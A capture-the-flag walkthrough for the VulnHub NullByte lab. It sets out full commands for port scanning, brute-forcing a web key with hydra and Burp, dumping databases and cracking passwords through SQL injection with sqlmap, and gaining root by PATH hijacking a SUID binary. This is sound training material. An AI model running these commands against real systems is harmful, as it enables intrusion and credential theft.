VulnHub

VulnHub Walkthrough: 🟢 NullByte

Nullbyte Walkthrough

Details

Scanning

Begin by using netdiscover to scan for computers/devices on the network:

sudo netdiscover

This returns the IP address of the target machine: 192.168.132.88. From there do a intial nmap scan on the network:

nmap -A -p0-65535 192.168.132.88

Ports found open:

Two services that stand out are HTTP & SSH. Note that SSH (port 22) is being forwarded to port 777 (keep in mind for later).

Website Exploring

I then proceeded to visit the website (http://192.168.132.88:80) to some investigating. The source code for the website did not display anything promising as it only contains a image & some text.

However, I decided to check the image using exiftool to see if there was anything hidden within the metadata:

exiftool main.gif

Looking through the output, I was able to see that there was a section labeled “comments” that contained something that could be useful: P-): kzMb5nVYJw

While all this was being done, I did my normal routine of website scanning to help look for extra directories, etc:

# nikto scan
nikto -h http://192.168.132.88

# gobuster
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -t 20 -u http://192.168.132.88/

# dirb
dirb 192.168.132.88

The most important directories that were returned were /uploads and /phpmyadmin/

‘Key’ cracking

Remember that string that was returned by exiftool? The one labeled as a comment? “P-): kzMb5nVYJw”. Yeah we’re going to need that. If you remove the first couple of characters up until the space, you’re left with “kzMb5nVYJw”. This ends up being a directory within the website, http://192.168.132.88/kzMb5nVYJw.

On this page we see a very simple page that contains a textbox titled “Key”. However the issue is.. we don’t have a key yet.

There are two ways to approach cracking this “Key”, using Hydra or Burpsuite. I will show you both.

Hydra

If you open up the developer tools and go to the “Network” tab, and reload the website. You notice there is a POST request being made. If you click on it and expand the “Request” tab, you see that it is a value key is being used as form data. With all this in mind, we can use it to construct a hydra command to help us guess the value of “key”.

hydra -l none -P /usr/share/wordlists/rockyou.txt 192.168.132.88 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key"

A quick breakdown of the command we’re using:

The hydra command is able to find the password/key: elite

Burpsuite

We will use burpsuite to also brute-force the value of “key”.

Start off by opening Burpsuite and selecting the proxy tab. Then click on “open browser” and visit the page that needs the key, http://192.168.132.88/kzMb5nVYJw. Next click on “interceptor on”, then on the website type in anything into the textbox and press enter.

Then once the data is returned/shown on burpsuite, next to the “intercept is on” button, click on “Action” button and select “Send to Intruder”. This will send the information over to the Intruder tab. Switch to the Intruder tab, and at the bottom of the page, highlight the section of the string after the “=” and click on button on the right “Add”. Once this is done, you should be able to switch tabs from “Positions” over to the “Payloads” tab. From here the only thing you need to do is on the “Payload setting”, click on “Load” and go to “/usr/share/wordlists” to select the wordlist you would like to use. Once you have done this, you may press the orange button on the top right, “Start attack”.

SQL

Now that we have the key, we can use it on the page. We are now greeted with a page that seems to allow us to search for usernames.

Leaving the text-box empty and pressing enter returns a couple of entries from what appears to be a employee database.

Since this seems to use mysql, let’s try using sqlmap to explore the database.

sqlmap -u "http://192.168.132.88/kzMb5nVYJw/420search.php?usrtosearch=" --dbs

We see that sqlmap returns 5 databases. The two that we will explore are ‘mysql’ and ‘seth’.

If you are not familiar with SQL, recall: A database contains tables. A table can be pictured as an excel file, where there are rows and columns of information.

‘mysql’ table

Let’s first explore the mysql database

# Check what databases are available
sqlmap -u "http://192.168.132.88/kzMb5nVYJw/420search.php?usrtosearch=" --dbs

# Check what tables are in the 'mysql' database
sqlmap -u "http://192.168.132.88/kzMb5nVYJw/420search.php?usrtosearch=" -D mysql --tables

# Check what columns are in the 'user' table (from the 'mysql database')
sqlmap -u "http://192.168.132.88/kzMb5nVYJw/420search.php?usrtosearch=" -D mysql -T user --columns

# Display User + Password from the 'user' table (from the 'mysql' database)
sqlmap -u "http://192.168.132.88/kzMb5nVYJw/420search.php?usrtosearch=" -D mysql -T user -C User,Password --dump
# Note that the command above will ask if you would like sqlmap to try and crack the passwords via a dictionary-based attack - select 'Y', then press enter to use the default password list.

sqlmap returns:

‘seth’ table

Next, let’s explore the seth database

# Check what tables are in the 'seth' database
sqlmap -u "http://192.168.132.88/kzMb5nVYJw/420search.php?usrtosearch=" -D seth --tables

# Check what columns are in the 'users' table (from the 'seth database')
sqlmap -u "http://192.168.132.88/kzMb5nVYJw/420search.php?usrtosearch=" -D seth -T users --columns

# Display user + pass from the 'users' table (from the 'seth' database)
sqlmap -u "http://192.168.132.88/kzMb5nVYJw/420search.php?usrtosearch=" -D seth -T users -C user,pass --dump

sqlmap returns:

SSH

One thing to quickly notice is that we now have the credentials for the /phpmyadmin/ page (root/sunnyvale). However, I wasn’t able to find anything important here.

So instead, let’s try and use the credentials that we found from the ‘seth’ database to try and login via SSH:

# Notice we're using port 777
ssh ramses@192.168.132.88 -p 777

Priviledge Escalation

Now that we’re in, we need to find a way to get root user.

Check to see if anything is out of the ordinary:

find / -perm -u=s -type f 2>/dev/null

Notice that there is something within the www directory called ‘procwatch’. If we try to run it, the output looks similar to a cron job.

/var/www/backup/procwatch

It seems that it is attempting to deploy ps, but unable to do so. Go to the directory and create a script that will launch a bash shell.

# Go to correct directory
cd /var/www/backups

# Create bash script and title it ps
echo "/bin/bash" > ps

# Add root privileges to the file
chmod 777 ps

Now, let’s check if this is just a script to run the ps command:

# env = list all environment variables | grep PATH = return line containing PATH
env | grep PATH

# Alternatively you can do
echo $PATH

Update the PATH for environment variables:

# Essentially what this command does is add "." + $PATH
export PATH=.:$PATH

Finally run ./procwatch

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